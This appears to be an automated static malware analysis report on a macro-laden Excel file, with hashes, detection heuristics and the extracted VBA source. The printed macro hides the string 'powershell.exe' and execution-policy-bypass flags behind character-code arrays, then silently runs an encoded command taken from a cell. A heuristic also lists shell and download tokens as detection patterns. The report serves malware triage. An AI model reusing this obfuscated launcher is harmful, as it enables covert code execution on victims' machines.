Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 a06f79f51bf9adb4…

MALICIOUS

Office (OOXML) / .XLSX

21.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-06
MD5: 232990f2430ab6540523d8e43a45dc7b SHA-1: db98b61bb11e536340d567bfdc99250b16f78da3 SHA-256: a06f79f51bf9adb4f536da6fcff521cc8a928d848518e0ce96648d1677689377
120 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(k2 & n3 & v1, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1423 bytes
SHA-256: b06b80a0a491f85cf494ff6fcab3f6ec6eb309a7ed0cf55bd4462274e7cb7b0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub TestViaShell()
    v1 = Trim(Range("A1").Value)
    If v1 = "" Then Exit Sub
   
    k2 = PS()
    n3 = Flags()
  
    Call Shell(k2 & n3 & v1, vbHide)
End Sub

Private Function PS()
    arr = Array(112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 46, 101, 120, 101)
    s = ""
    For i = LBound(arr) To UBound(arr)
        s = s & Chr(arr(i))
    Next i
    PS = s
End Function

Private Function Flags()
    arr = Array(32, 45, 78, 111, 80, 114, 111, 102, 105, 108, 101, 32, 45, 69, 120, 101, 99, 117, 116, 105, 111, 110, 80, 111, 108, 105, 99, 121, 32, 66, 121, 112, 97, 115, 115, 32, 45, 69, 110, 99, 111, 100, 101, 100, 67, 111, 109, 109, 97, 110, 100, 32)
    s = ""
    For i = LBound(arr) To UBound(arr)
        s = s & Chr(arr(i))
    Next i
    Flags = s
End Function

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: 8f4db2f272d1e2867aae3f1a6f5a3198ff893e817892b6be52fb16bcb0f9cbc6